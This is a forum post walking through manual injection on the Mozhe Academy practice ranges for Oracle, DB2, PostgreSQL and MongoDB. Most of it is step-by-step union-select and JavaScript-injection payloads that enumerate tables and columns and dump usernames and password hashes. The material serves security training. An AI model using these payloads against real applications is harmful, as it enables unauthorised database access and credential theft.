ToB企服应用市场:ToB评测及商务社交产业平台

标题: 墨者学院数据库靶场 [打印本页]

作者: 三尺非寒    时间: 2025-2-16 17:05
标题: 墨者学院数据库靶场
Oracle手工注入

第一步

跟其它数据库一样,检测注入点都是可以通过拼接 and 语句进行判断。
  1. ?id=1 and 1=1
  2. ?id=1 and 1=2
复制代码


回显正常


回显错误,可以判断出这个靶场是数字型
第二步

判断它有多少个字段。
  1. id=1 order by 2
  2. id=1 order by 3
复制代码


页面回显正常


页面回显非常,可以判断出当前页面有两个字段。
第三步

获取页面的回显点
oracle数据库与mysql数据库差异点在于它对于字段点数据类型敏感,这时我们就不能直接union select 1,2,3来获取显错点了
如果是字符型字段我们就要使用字符型数据,数字型字段使用数字型数据才可以获取到
我们当前的两个字段都是字符型,所以我们使用字符型数据
  1. union select 'null','null' from dual--+
复制代码
注:dual 是 oracle 数据库的伪表


在有些环境下也接纳 union all select的情势进行联合查询。union all select与union select的差异点可以很轻易明白为all表现输出所有,也就是当数据出现相同时,将所有数据都输出;union select则会将相同数据进行过滤,只输出其中一条。
第四步

查询当前数据库的名字
  1. union select 'null',(select instance_name from V$INSTANCE) from dual --+
复制代码


第五步

查询数据库的表名
查询表名一般查询admin大概user表
我们先获取第一个表名
  1. union select 'null',(select table_name from user_tables where rownum=1) from dual--+
复制代码


我们得到了它的第一个表名是 LOGMNR_SESSION_EVOLVE$ ,我们接着爆破他的第二个表名
  1. union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual--+
复制代码


得到了它的第二个表名是 LOGMNR_GLOBAL$ ,我们接着爆破他的第三个表名
  1. union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual--+
复制代码


得到了它的第三个表名是 LOGMNR_GT_TAB_INCLUDE$ ,我们接着爆破他的第四个表名
  1. union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$' and table_name not in 'LOGMNR_GT_TAB_INCLUDE$') from dual--+
复制代码


这时我们发现页面没有变化还是第三个表名,我们就可以判断出他只有三个表
接下来我们使用模糊搜刮查询,查询带有 user 的表名
  1. union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual--+
复制代码


就可以得到 sns_users 表名
第六步

查询数据库的列名
  1. union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual--+
复制代码

我们得到第一个列名为 USER_NAME


这时我们接着查询第二个
  1. union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME') from dual--+
复制代码
我们得到第二个列名为 AGENT_NAME


这时我们接着查询第三个
  1. union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual--+
复制代码
我们得到第三个列名为 PROTOCOL


  1. union select 'null',(select column_name from user_tab_columns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME' and column_name not in 'PROTOCOL' and column_name not in 'SPARE1' and column_name not in 'DB_USERNAME' and column_name not in 'OID' and column_name <> 'EVENTID' and column_name <> 'NAME' and column_name <> 'TABLE_OBJNO') from dual--+
复制代码


第八步

查询数据库数据获取账号密码的字段内容
  1. union select USER_NAME,USER_PWD from "sns_users" where rownum=1--+
复制代码


  1. union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'--+
复制代码


  1. union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'--+
复制代码


第九步

解密获取到的密码


得到 549459


DB2手工注入

跟其它数据库一样,检测注入点都是可以通过拼接 and 语句进行判断。

  1. ?id=1 and 1=1
  2. ?id=1 and 1=2
复制代码


回显正常


回显错误,可以判断出这个靶场是数字型
第二步

判断它有多少个字段。
  1. id=1 order by 2
  2. id=1 order by 3
复制代码


页面回显正常


页面回显非常,可以判断出当前页面有两个字段。
第三步

使用联合查询注入来确认回显位
  1. union select 1,2,3,4 from syscat.tables
复制代码


第四步

查看数据库名
  1. union select 1,current schema,current server,4 from syscat.tables--+
复制代码


第五步

爆表并确定表名
第一个表
  1. union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1--+
复制代码


GAME CHARACTER
第二个表
  1. union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 1,1--+
复制代码


NOTICE
第六步

爆出数据库的字段
第一个列
  1. union select 1,colname,current schema,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1--+
复制代码


DB2INST1
  1. union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 1,1--+
复制代码


GAME_CHARACTER
第七步

爆字段值并获取其Key
第一个账号密码
  1. union select 1,NAME,PASSWORD,4 from GAME_CHARACTER limit 0,1--+
复制代码


1c63129ae9db9c60c3e8aa94d3e00495
第二个账号密码
  1. union select 1,name,password,4 from GAME_CHARACTER limit 1,1--+
复制代码


末了一步

解密


PostGREsql手工注入

第一步

查看是否存在注入
  1. and 1=1 //正常
  2. and 1=2 //异常
复制代码


第二步

爆出有几列回显
  1. order by 4 //正常
  2. order by 5 //异常
复制代码




第三步

爆出回显位
  1. and 1=2 union select 'null',null,null,null //无回显
  2. and 1=2 union select null,'null',null,null //有回显
  3. and 1=2 union select null,null,'null',null //有回显
  4. and 1=2 union select null,null,null,'null' //无回显
复制代码


第四步

爆出数据库
  1. and 1=2 union select null,null,string_agg(datname,','),null from pg_database
复制代码


第五步

爆出数据库下的表名
  1. and 1=2 union select null,null,string_agg(tablename,','),null from pg_tables where schemaname='public'
  2. and 1=2 union select null,null,string_agg(relname,','),null from pg_stat_user_tables where schemaname='public'
  3. and 1=2 union select null,null,string_agg(table_name,','),null from information_schema.tables where table_schema='public'
复制代码


第六步

查询字段,看到user表先查他
  1. and 1=2 union select null,null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'
复制代码


第七关

爆出数据
  1. and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
复制代码


第八关

解密处理去登录提交
MongoDB手工注入

靶场:墨者学院
注入地点同上
第一步

给出的源码...可以看到数据库查询的语句如下..构造回显测试..
  1. var data= db.notice.findOne({'id':'$id'});return data;
  2. 传⼊的数据是$id。注意到可以通过闭合 “({‘” 来构造payload 因为返回的数据是$obj[‘retval’][‘title’]与$obj[‘retval’][‘content’],可以尝试return({title:’1’,content:’2’})来构造回显测试
  3. 1'});return({title:'1',content:'2
复制代码


第二步

成功表现1,2现在来查询数据库
  1. 1'});return({title:tojson(db),content:'2
复制代码


第三步

爆出表名
  1. 1'});return({title:tojson(db.getCollectionNames()),content:'2
复制代码


第四步

爆出末了的数据
  1. 1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2
复制代码


第五步

末了我们去md5解密,登录获取key


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4